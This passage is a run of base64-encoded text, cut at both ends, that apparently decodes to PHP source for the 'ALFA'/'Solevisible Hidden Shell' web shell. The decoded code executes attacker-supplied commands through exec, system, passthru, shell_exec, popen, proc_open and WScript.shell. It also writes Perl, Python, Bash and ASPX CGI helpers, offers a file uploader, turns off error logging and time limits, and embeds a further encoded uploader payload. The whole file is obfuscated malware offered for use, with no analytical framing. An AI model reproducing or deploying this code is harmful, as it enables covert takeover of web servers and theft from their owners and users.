UEk1V3JlVS85NWhvQ3lqc2ZGaDUybm0zbk0venVUY0szWFZCejlVSCt6TTZ4REhpMEFoZ0c2amtKS1FLdlFwSmlPZzVFQlZqejRHWm1pR3FMUGVoUTcxb3hDY2pXOXRDTFcrTE80TmEyK24yVlUvN3dBN1B3RGhwZjcxbTg3c24zVmp1dmlFb0tzQktvRUlma0t2QnltaHV6U3MwVjFRZnJNUUZyRDhidDBieTd2NXhEcUg1Y2pieGR6UTU0WTEwK2NUWXlyQ1hxWEVka0dad3hFS1R0THpqSFZVSWRKeWlSTzVoSEY2cG9RbFVFSUN3NU9lZ3NpeEE5Z0RCWSsvcVlad1BsVFYxeW9Vc295NDdaZm5CNlJNa2t1MEFHVkQ0Um9VbXpISmFWSDlqY3hZak1HTk9MdzgrekxOdm1BSVdUYmxRWUVhRHk5QXBZSGNzdm5yQzdKVGo0Uk5SSGs4alVGRzE2T2JRakJYQlpnVkNlYTZJN1Q2cHhPVG5RUE92V0xWNE5ZK3Y3cFJTUGlGUTZ1dy8zdzNVNUdvbi9LekF3bzNaejQ3Z1JpMjdNc3piblBzakFBZWd2OU1icUliZmFIM1JtUjVXd1pGTFoxRU8zYjBST3JqY2ZNc2xTUG1QcG1EQ3lwejhObnlsZmQ4RHg4WHh2UkYrYjBNaGFTNG5BYkpiSWRmTXM5ZjArcW1JY0FERUNlbXJwd2NqMGZNQzhweXJ6MFoyOUlZeTdMV05uTFp4dEpBYTltcWRpVWNDK0hsM2hvaVlQUHlZVFpEb0hEbFppcmdMYWoxSU9Hc0ptd0twTWdoamxMSzNGdWtvWld3UWNCRWVHK2lGUklIb3htRWx2NjV0b0RWN2lRN2tqNXArSXFQRDNZZVhmZ0RiRVdUdDI5QVVhclUvV3BkTnhpUE9OdXpxSEtwdjR0VDh0NTBVSWQxRmJCZHdXc1VMYjlhQS80QyI7DQoJCQkkYXNweCA9ICJqWk5kYTlzd0ZJYXZrMThoTkFvT0FYZHNvemRMeXJyVUtZYVJscmlOTjBJdUZQdkVGYlVsNzBqT0IyUDk3VDFTUEJvOHluWmxTK2Q1My9QaDQ5SFpGM1luQ21EZmhDb2FlaG56eVR2T0lpWFdKU3drN0JJckxGMXVSR21BczdQTC9vZ1VjVlZydEd3bUtqQzF5Q2llSEl5RktreGhIVDdFN2pIUnlxSXV6YjgxMTFJVVNoc3JzLytBNDF2UEVOVHZHWXRTRlN5cmNqWm1jL2paZ0xIaFZHTzE1SFRIVjU5ZmtVZkludjZHM0szSDVDWm9rVEhqNmNmWmRuMnorQ0MreitvZjFiN2NWTk9kV0x3Zjg4R3ZmcSszUGxoWXJsZ3VyQ0REdGlwcWRndEl2cWlycjhMQXhhZkVKdzZvamdINTk0NDF0dlE5N0cxNGxVemlPRktaem9rN25zSWJzSzNPMlpPUWxIZW9NekNHMWFSWHNHUHRPZkMyZFVpZkIyMnNOanFjSU5DWG11bFVxbHp2aUxiWVFCZWF5aExjVUNuc1poVENIbmlYdWNLaXFVQlo0NkR6akhFMmREUHVZZzhHa2tjb3kyZ1BXV09kbzkrUkxqYUhYQ0prMUpoUXVjRDh0ckYxWTk4b3J3dEhpQnJmWUZPTlR6U3FheS9RZVBEVm5qWVRIQWZZcm9EK2s5ZEhUMHFocENLLzE1SEtnd0YxK2hyMnlVK2p6bnRPKzZpVmdUQkZhU0hnUzZOTDJFb2o2WGQ1RnJWY2pXcUVTejQ4cGh2eTBiay9PKzN2UGkzdUN3PT0iOw0KCQkJaWYoJGxhbmc9PSJwZXJsIikkc291cmNlID0gJHBlcmw7ZWxzZWlmKCRsYW5nPT0icHkiKSRzb3VyY2UgPSAkcHk7ZWxzZSAkc291cmNlID0gJGJhc2g7DQoJCQlpZigkbGFuZyA9PSAiYXNweCIpew0KCQkJCWFsZmFXcml0ZVRvY2dpYXBpKCJhc3B4LmFzcHgiLCRhc3B4KTsNCgkJCX1lbHNlew0KCQkJCWFsZmFXcml0ZVRvY2dpYXBpKCRsYW5nLiIuYWxmYSIsJHNvdXJjZSk7DQoJCQl9DQoJCQlhbGZhY2dpaHRhY2Nlc3MoJ2NnaScsICJ1Y2VuY2dpYXBpLyIpOw0KCQl9ZWxzZXsNCgkJCSRsYW5nID0gJF9DT09LSUVbInVjZW5jZ2lhcGkiXTsNCgkJfQ0KCQkkY2dpX2V4dCA9ICIuYWxmYSI7DQoJCWlmKCRsYW5nPT0iYXNweCIpew0KCQkJJGNnaV9leHQgPSAiLmFzcHgiOw0KCQl9DQoJCSRjZ2lfdXJsID0gX19VQ0VOX0RBVEFfRk9MREVSX18uIi91Y2VuY2dpYXBpLyIuJGxhbmcuJGNnaV9leHQ7DQoJCSRjbWQgPSAiY2hlY2s9VzNOdmJHVjJhWE5wWW14bGZtRndhVjA9JmNtZD0iLl9fWlc1amIyUmxjZygiY2QgIi4kR0xPQkFMU1snY3dkJ10uIjsiLiRjbWQpOw0KCQlpZigkaXNfY3VybCl7DQoJCQkkYWRkcmVzcyA9ICgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA0NDMgPyAiaHR0cHM6Ly8iIDogImh0dHA6Ly8iKS4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS5kaXJuYW1lKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdKS4iLyIuJGNnaV91cmw7DQoJCQkkcG9zdCA9IG5ldyBBbGZhQ1VSTCgpOw0KCQkJJGRhdGEgPSAkcG9zdC0+U2VuZCgkYWRkcmVzcywgInBvc3QiLCAkY21kKTsNCgkJfWVsc2VpZigkaXNfc29ja2V0KXsNCgkJCSRzZXJ2ZXIgPSAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXTsNCgkJCSR1cmkgPSBkaXJuYW1lKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdKS4iLyIuJGNnaV91cmw7DQoJCQkkZGF0YSA9IF9hbGZhX2Zzb2Nrb3Blbigkc2VydmVyLCR1cmksJGNtZCk7DQoJCX0NCgkJJG91dCA9ICIiOw0KCQlpZihzdHJwb3MoJGRhdGEsICJbc29sZXZpc2libGV+YXBpXSIpICE9PSBmYWxzZSAmJiBzdHJwb3MoJGRhdGEsICdbc29sZXZpc2libGV+YXBpXTxwcmU+IitvdXRwdXQrIjwvcHJlPicpID09PSBmYWxzZSl7DQoJCQlpZigkc2V0X2Nvb2tpZSl7DQoJCQkJX19hbGZhX3NldF9jb29raWUoInVjZW5jZ2lhcGkiLCAkbGFuZyk7DQoJCQl9DQoJCQlpZihAcHJlZ19tYXRjaCgiLzxwcmU+KC4qPyk8XC9wcmU+L3MiLCAkZGF0YSwgJHJlcykpew0KCQkJCSRvdXQgPSAkcmVzWzFdOw0KCQkJfQ0KCQl9ZWxzZWlmKCRsYW5nPT0icGVybCIpew0KCQkJcmV0dXJuIF9hbGZhX2NnaWNtZCgkY21kX3B1cmUsInB5Iiwkc2V0X2Nvb2tpZSk7DQoJCX1lbHNlaWYoJGxhbmc9PSJweSIpew0KCQkJcmV0dXJuIF9hbGZhX2NnaWNtZCgkY21kX3B1cmUsImJhc2giLCRzZXRfY29va2llKTsNCgkJfWVsc2VpZigkbGFuZz09ImJhc2giICYmICRHTE9CQUxTWydzeXMnXT09IndpbiIpew0KCQkJcmV0dXJuIF9hbGZhX2NnaWNtZCgkY21kX3B1cmUsImFzcHgiLCRzZXRfY29va2llKTsNCgkJfWVsc2V7DQoJCQlpZigkc2V0X2Nvb2tpZSl7DQoJCQkJX19hbGZhX3NldF9jb29raWUoInVjZW5jZ2lhcGlfbW9kZSIsICJvZmYiKTsNCgkJCX0NCgkJfQ0KCQlyZXR1cm4gdHJpbSgkb3V0KTsNCgl9ZWxzZXsNCgkJcmV0dXJuICIiOw0KCX0NCn0NCmZ1bmN0aW9uIGFsZmFHZXRDd2QoKXsNCglpZihmdW5jdGlvbl9leGlzdHMoImdldGN3ZCIpKXsNCgkJcmV0dXJuIEBnZXRjd2QoKTsNCgl9ZWxzZXsNCgkJcmV0dXJuIGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTsNCgl9DQp9DQpmdW5jdGlvbiBhbGZhRXgoJGluLCRyZT1mYWxzZSwkY2dpPXRydWUsJGFsbD1mYWxzZSl7DQoJJGRhdGEgPSBfYWxmYV9waHBfY21kKCRpbiwkcmUpOw0KCWlmKGVtcHR5KCRkYXRhKSYmJGNnaXx8JGFsbCl7DQoJCWlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnKXsNCgkJCWlmKHN0cmxlbihfYWxmYV9waHBfY21kKCJ3aG9hbWkiKSk9PTB8fCRhbGwpew0KCQkJCSRjbWQgPSBfYWxmYV9jZ2ljbWQoJGluKTsNCgkJCQlpZighZW1wdHkoJGNtZCkpew0KCQkJCQlyZXR1cm4gJGNtZDsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJcmV0dXJuICRkYXRhOw0KfQ0KZnVuY3Rpb24gX2FsZmFfcGhwX2NtZCgkaW4sJHJlPWZhbHNlKXsNCiRvdXQ9Jyc7DQp0cnl7DQppZigkcmUpJGluPSRpbi4iIDI+JjEiOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGluLCRvdXQpOw0KJG91dCA9IEBqb2luKCJcbiIsJG91dCk7DQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0Kb2Jfc3RhcnQoKTsNCkBwYXNzdGhydSgkaW4pOw0KJG91dCA9IG9iX2dldF9jbGVhbigpOw0KfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXsNCm9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRpbik7DQokb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQp9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCiRvdXQgPSBzaGVsbF9leGVjKCRpbik7DQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygicG9wZW4iKSYmZnVuY3Rpb25fZXhpc3RzKCJwY2xvc2UiKSl7DQppZihpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpew0KJG91dCA9ICIiOw0Kd2hpbGUoIUBmZW9mKCRmKSkNCiRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7DQpwY2xvc2UoJGYpOw0KfQ0KfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpKXsNCiRwaXBlcyA9IGFycmF5KCk7DQokcHJvY2VzcyA9IEBwcm9jX29wZW4oJGluLicgMj4mMScsIGFycmF5KGFycmF5KCJwaXBlIiwidyIpLCBhcnJheSgicGlwZSIsInciKSwgYXJyYXkoInBpcGUiLCJ3IikpLCAkcGlwZXMsIG51bGwpOw0KJG91dD1Ac3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOw0KfWVsc2VpZihjbGFzc19leGlzdHMoJ0NPTScpKXsNCiRhbGZhV3MgPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7DQokZXhlYyA9ICRhbGZhV3MtPmV4ZWMoJ2NtZC5leGUgL2MgJy4kX1BPU1RbJ2FsZmExJ10pOw0KJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsNCiRvdXQ9JHN0ZG91dC0+UmVhZEFsbCgpOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiAkZSl7fQ0KcmV0dXJuICRvdXQ7DQp9DQpmdW5jdGlvbiBfYWxmYV9mc29ja29wZW4oJHNlcnZlciwkdXJpLCRwb3N0KXsNCgkkc29ja2V0ID0gQGZzb2Nrb3Blbigkc2VydmVyLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxNSk7DQoJaWYoJHNvY2tldCl7DQoJCSRodHRwICA9ICJQT1NUIHskdXJpfSBIVFRQLzEuMFxyXG4iOw0KCQkkaHR0cCAuPSAiSG9zdDogeyRzZXJ2ZXJ9XHJcbiI7DQoJCSRodHRwIC49ICJVc2VyLUFnZW50OiAiIC4gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddIC4gIlxyXG4iOw0KCQkkaHR0cCAuPSAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuIjsNCgkJJGh0dHAgLj0gIkNvbnRlbnQtbGVuZ3RoOiAiIC4gc3RybGVuKCRwb3N0KSAuICJcclxuIjsNCgkJJGh0dHAgLj0gIkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iOw0KCQkkaHR0cCAuPSAkcG9zdCAuICJcclxuXHJcbiI7DQoJCWZ3cml0ZSgkc29ja2V0LCAkaHR0cCk7DQoJCSRjb250ZW50cyA9ICIiOw0KCQl3aGlsZSAoIUBmZW9mKCRzb2NrZXQpKSB7DQoJCQkkY29udGVudHMgLj0gQGZnZXRzKCRzb2NrZXQsIDQwOTYpOw0KCQl9DQoJCWxpc3QoJGhlYWRlciwgJGJvZHkpID0gZXhwbG9kZSgiXHJcblxyXG4iLCAkY29udGVudHMsIDIpOw0KCQlAZmNsb3NlKCRzb2NrZXQpOw0KCQlyZXR1cm4gJGJvZHk7DQoJfWVsc2V7DQoJCXJldHVybiAiIjsNCgl9DQp9DQppZihpc3NldCgkX0dFVFsic29sZXZpc2libGUiXSkpew0KQGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVfTk9USUNFKTsNCmVjaG8gJzxodG1sPic7DQplY2hvICI8dGl0bGU+U29sZXZpc2libGUgSGlkZGVuIFNoZWxsPC90aXRsZT4iOw0KZWNobyAiPGJvZHkgYmdjb2xvcj0jMDAwMDAwPiI7DQplY2hvICc8Yj48YmlnPjxmb250IGNvbG9yPSM3Q0ZDMDA+S2VybmVsIDogPC9mb250Pjxmb250IGNvbG9yPSIjRkZGRkYiPicuKGZ1bmN0aW9uX2V4aXN0cygncGhwX3VuYW1lJyk/cGhwX3VuYW1lKCk6Jz8/PycpLic8L2ZvbnQ+PC9iPjwvYmlnPic7DQokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KaWYoJHNhZmVfbW9kZSl7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiByZWQnPk9uPC9iPiI7fWVsc2V7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiBncmVlbic+T2ZmPC9iPiI7fQ0KZWNobyAiPGJyPjxiIHN0eWxlPSdjb2xvcjogIzdDRkMwMCc+T1M6IDwvZm9udD48Zm9udCBjb2xvcj13aGl0ZT4iIC4gUEhQX09TIC4gIjwvZm9udD48YnI+IjsNCmVjaG8gIjxiIHN0eWxlPSdjb2xvcjogIzdDRkMwMCc+U29mdHdhcmU6IDwvZm9udD48Zm9udCBjb2xvcj13aGl0ZT4iIC4gJF9TRVJWRVIgWydTRVJWRVJfU09GVFdBUkUnXSAuICI8L2ZvbnQ+PGJyPiI7DQplY2hvICJQSFAgVmVyc2lvbjogPGZvbnQgY29sb3I9d2hpdGU+IiAuIFBIUF9WRVJTSU9OIC4gICI8L2ZvbnQ+PGJyIC8+IjsNCmVjaG8gIlBXRDo8Zm9udCBjb2xvcj0jRkZGRkZGPiAiIC4gc3RyX3JlcGxhY2UoIlxcIiwiLyIsQGFsZmFHZXRDd2QoKSkgLiAiLzxiciAvPiI7DQplY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPlNhZmUgTW9kZSA6ICRyPGJyPiI7DQplY2hvIjxmb250IGNvbG9yPSM3Q0ZDMDA+RGlzYWJsZSBmdW5jdGlvbnMgOiA8L2ZvbnQ+IjsNCiRkaXNmdW4gPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCmlmKGVtcHR5KCRkaXNmdW4pKXskZGlzZnVuID0gJzxmb250IGNvbG9yPSJncmVlbiI+Tk9ORTwvZm9udD4nO30NCmVjaG8iPGZvbnQgY29sb3I9cmVkPiI7DQplY2hvICIkZGlzZnVuIjsNCmVjaG8iPC9mb250Pjxicj4iOw0KZWNobyAiPGIgc3R5bGU9J2NvbG9yOiAjN0NGQzAwJz5Zb3VyIElwIEFkZHJlc3MgaXMgOiAgPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICI8L2ZvbnQ+PGJyPiI7DQplY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPlNlcnZlciBJcCBBZGRyZXNzIGlzIDogIDwvZm9udD48Zm9udCBjb2xvcj13aGl0ZT4iLihmdW5jdGlvbl9leGlzdHMoJ2dldGhvc3RieW5hbWUnKT9AZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOic/Pz8nKS4iPC9mb250Pjxicj48cD4iOw0KZWNobyAnPGhyPjxjZW50ZXI+PGZvcm0gb25TdWJtaXQ9InRoaXMudXBsb2FkLmRpc2FibGVkPXRydWU7dGhpcy5jd2QudmFsdWUgPSBidG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudCh0aGlzLmN3ZC52YWx1ZSkpKTsiIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICdDV0Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjd2QiIHZhbHVlPSInLnN0cl9yZXBsYWNlKCJcXCIsIi8iLEBhbGZhR2V0Q3dkKCkpLicvIiBzaXplPSI1OSI+PHA+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjQ1Ij48aW5wdXQgbmFtZT0idXBsb2FkIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L3A+PC9mb3JtPjwvY2VudGVyPic7DQppZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsNCmlmKEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCBfX1pHVmpiMlJsY2coQCRfUE9TVFsnY3dkJ10pLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpe2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj48L2NlbnRlcj4nOyB9DQplbHNle2VjaG8gJzxjZW50ZXI+PGI+PGZvbnQgY29sb3I9IiM3Q0ZDMDAiPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAiPjwvYj48L2NlbnRlcj48YnI+PGJyPic7IH0NCn0NCmVjaG8gJzxocj48Zm9ybSBvblN1Ym1pdD0idGhpcy5leGVjdXRlLmRpc2FibGVkPXRydWU7dGhpcy5jb21tYW5kX3NvbGV2aXNpYmxlLnZhbHVlID0gYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQodGhpcy5jb21tYW5kX3NvbGV2aXNpYmxlLnZhbHVlKSkpOyIgbWV0aG9kPSJQT1NUIj5FeGVjdXRlIENvbW1hbmQ6IDxpbnB1dCBuYW1lPSJjb21tYW5kX3NvbGV2aXNpYmxlIiB2YWx1ZT0iIiBzaXplPSI1OSIgdHlwZT0idGV4dCIgYWxpZ249ImxlZnQiID48aW5wdXQgbmFtZT0iZXhlY3V0ZSIgdmFsdWU9IkV4ZWN1dGUiIHR5cGU9InN1Ym1pdCI+PGJyPjwvZm9ybT4NCjxocj48cHJlPic7DQppZihpc3NldCgkX1BPU1RbJ2NvbW1hbmRfc29sZXZpc2libGUnXSkpew0KaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpPT0id2luIikkc2VwYXJhdG9yPScmJztlbHNlICRzZXBhcmF0b3I9JzsnOw0KJHNvbGV2aXNpYmxlID0gImNkICciLmFkZHNsYXNoZXMoc3RyX3JlcGxhY2UoIlxcIiwiLyIsQGFsZmFHZXRDd2QoKSkpLiInIi4kc2VwYXJhdG9yLiIiLl9fWkdWamIyUmxjZygkX1BPU1RbJ2NvbW1hbmRfc29sZXZpc2libGUnXSk7DQplY2hvIGFsZmFFeCgkc29sZXZpc2libGUpOw0KfQ0KZWNobyc8L3ByZT4NCjwvYm9keT48L2h0bWw+JzsNCmV4aXQ7fQ0KQGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVfTk9USUNFKTsNCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOw0KQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOw0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7DQpAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lJykpew0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCn0NCmZvcmVhY2goJF9QT1NUIGFzICRrZXkgPT4gJHZhbHVlKXsNCmlmKGlzX2FycmF5KCRfUE9TVFska2V5XSkpew0KJGk9MDsNCmZvcmVhY2goJF9QT1NUWyRrZXldIGFzICRmKSB7DQokZiA9IHRyaW0oc3RyX3JlcGxhY2UoJyAnLCAnKycsJGYpKTsNCiRfUE9TVFska2V5XVskaV0gPSBkZWNyeXB0X3Bvc3QoJGYpOw0KJGkrKzsNCn0NCn1lbHNlew0KJHZhbHVlID0gdHJpbShzdHJfcmVwbGFjZSgnICcsICcrJywkdmFsdWUpKTsNCiRfUE9TVFska2V5XSA9IGRlY3J5cHRfcG9zdCgkdmFsdWUpOw0KfQ0KfQ0KJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuMic7Ly8nRmlsZXNNYW4nOw0KJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOw0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOw0KaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpPT0id2luIikNCiRHTE9CQUxTWydzeXMnXT0nd2luJzsNCmVsc2UNCiRHTE9CQUxTWydzeXMnXT0ndW5peCc7DQokR0xPQkFMU1snaG9tZV9jd2QnXSA9IEBhbGZhR2V0Q3dkKCk7DQokR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAiZmFsc2UiOw0KJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSA9IGZhbHNlOw0KaWYoaXNzZXQoJF9QT1NUWydjJ10pKXsNCmlmKCFAY2hkaXIoJF9QT1NUWydjJ10pKXsNCgkkR0xPQkFMU1snZ2xvYl9jaGRpcl9mYWxzZSddID0gdHJ1ZTsNCn0NCn0NCiRHTE9CQUxTWydjd2QnXSA9IChpc3NldCgkX1BPU1RbJ2MnXSkgJiYgQGlzX2RpcigkX1BPU1RbJ2MnXSkgPyRfUE9TVFsnYyddOkBhbGZhR2V0Q3dkKCkpOw0KaWYoJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSl7DQoJJEdMT0JBTFNbJ2N3ZCddID0gKGlzc2V0KCRfUE9TVFsnYyddKSAmJiAhZW1wdHkoJF9QT1NUWydjJ10pID8gJF9QT1NUWydjJ10gOiBAYWxmYUdldEN3ZCgpKTsNCn0NCmlmKCRHTE9CQUxTWydzeXMnXSA9PSAnd2luJyl7DQokR0xPQkFMU1snaG9tZV9jd2QnXSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJEdMT0JBTFNbJ2hvbWVfY3dkJ10pOw0KJEdMT0JBTFNbJ2N3ZCddID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkR0xPQkFMU1snY3dkJ10pOw0KfQ0KaWYoJEdMT0JBTFNbJ2N3ZCddW3N0cmxlbigkR0xPQkFMU1snY3dkJ10pLTFdICE9ICcvJyApJEdMT0JBTFNbJ2N3ZCddIC49ICcvJzsNCmlmKCFmdW5jdGlvbl9leGlzdHMoJ3N5c19nZXRfdGVtcF9kaXInKSl7ZnVuY3Rpb24gc3lzX2dldF90ZW1wX2RpcigpIHtmb3JlYWNoIChhcnJheSgnVE1QJywgJ1RFTVAnLCAnVE1QRElSJykgYXMgJGVudl92YXIpIHtpZiAoJHRlbXAgPSBnZXRlbnYoJGVudl92YXIpKSB7cmV0dXJuICR0ZW1wO319JHRlbXAgPSB0ZW1wbmFtKCRHTE9CQUxTWydfX2ZpbGVfcGF0aCddLCAnJyk7aWYgKF9hbGZhX2ZpbGVfZXhpc3RzKCR0ZW1wLGZhbHNlKSkge3VubGluaygkdGVtcCk7cmV0dXJuIGRpcm5hbWUoJHRlbXApO31yZXR1cm4gbnVsbDt9fQ0KaWYoIWZ1bmN0aW9uX2V4aXN0cygibWJfc3RybGVuIikpew0KCWZ1bmN0aW9uIG1iX3N0cmxlbigkc3RyLCAkYz0iIil7DQoJCXJldHVybiBzdHJsZW4oJHN0cik7DQoJfQ0KfQ0KaWYoIWZ1bmN0aW9uX2V4aXN0cygibWJfc3Vic3RyIikpew0KCWZ1bmN0aW9uIG1iX3N1YnN0cigkc3RyLCAkc3RhcnQsICRlbmQsICRjPSIiKXsNCgkJcmV0dXJuIHN1YnN0cigkc3RyLCAkc3RhcnQsICRlbmQpOw0KCX0NCn0NCmRlZmluZSgiQUxGQV9URU1QRElSIiwgKGZ1bmN0aW9uX2V4aXN0cygic3lzX2dldF90ZW1wX2RpciIpID8gKEBpc193cml0YWJsZShzdHJfcmVwbGFjZSgnXFwnLCcvJyxzeXNfZ2V0X3RlbXBfZGlyKCkpKT9zeXNfZ2V0X3RlbXBfZGlyKCk6KEBpc193cml0YWJsZSgnLicpPycuJzpmYWxzZSkpIDogZmFsc2UpKTsNCmZ1bmN0aW9uIGFsZmFoZWFkKCl7DQokR0xPQkFMU1snX19BTEZBX1NIRUxMX0NPREUnXSA9ICdQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanhtYjI1MElHTnZiRzl5UFZ3aUl6ZERSa013TUZ3aVBseHVQR0p5UGx4dVBHSnlQbHh1UEdObGJuUmxjajQ4Wm05dWRDQmpiMnh2Y2oxY0lpTTNRMFpETURCY0lqNDhZbWxuUGxOdmJHVjJhWE5wWW14bElGVndiRzloWkNCQmNtVmhQQzlpYVdjK1BDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OEwyWnZiblErUEM5alpXNTBaWEkrUEdKeVBseHVQR05sYm5SbGNqNDhabTl5YlNCdFpYUm9iMlE5SjNCdmMzUW5JR1Z1WTNSNWNHVTlKMjExYkhScGNHRnlkQzltYjNKdExXUmhkR0VuSUc1aGJXVTlKM1Z3Ykc5aFpHVnlKejRpTzJWamFHOGdKenhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0kwTlNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlIUjVjR1U5SW5OMVltMXBkQ0lnYVdROUlsOTFjR3dpSUhaaGJIVmxQU0pWY0d4dllXUWlQand2Wm05eWJUNDhMMk5sYm5SbGNqNG5PMmxtS0dsemMyVjBLQ1JmVUU5VFZGc25YM1Z3YkNkZEtTWW1KRjlRVDFOVVd5ZGZkWEJzSjEwOVBTQWlWWEJzYjJGa0lpbDdhV1lvUUcxdmRtVmZkWEJzYjJGa1pXUmZabWxzWlNna1gwWkpURVZUV3lkbWFXeGxKMTFiSjNSdGNGOXVZVzFsSjEwc0lDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmJtRnRaU2RkS1NrZ2UyVmphRzhnSnp4aVBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4WTJWdWRHVnlQbFZ3Ykc5aFpDQlRkV05qWlhOelpuVnNiSGtnT3lrOEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4TDJJK1BHSnlQanhpY2o0bk8zMWxiSE5sZTJWamFHOGdKenhpUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhZMlZ1ZEdWeVBsVndiRzloWkNCbVlXbHNaV1FnT2lnOEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4TDJJK1BHSnlQanhpY2o0bk8zMTlaV05vYnlBblBHTmxiblJsY2o0OGMzQmhiaUJ6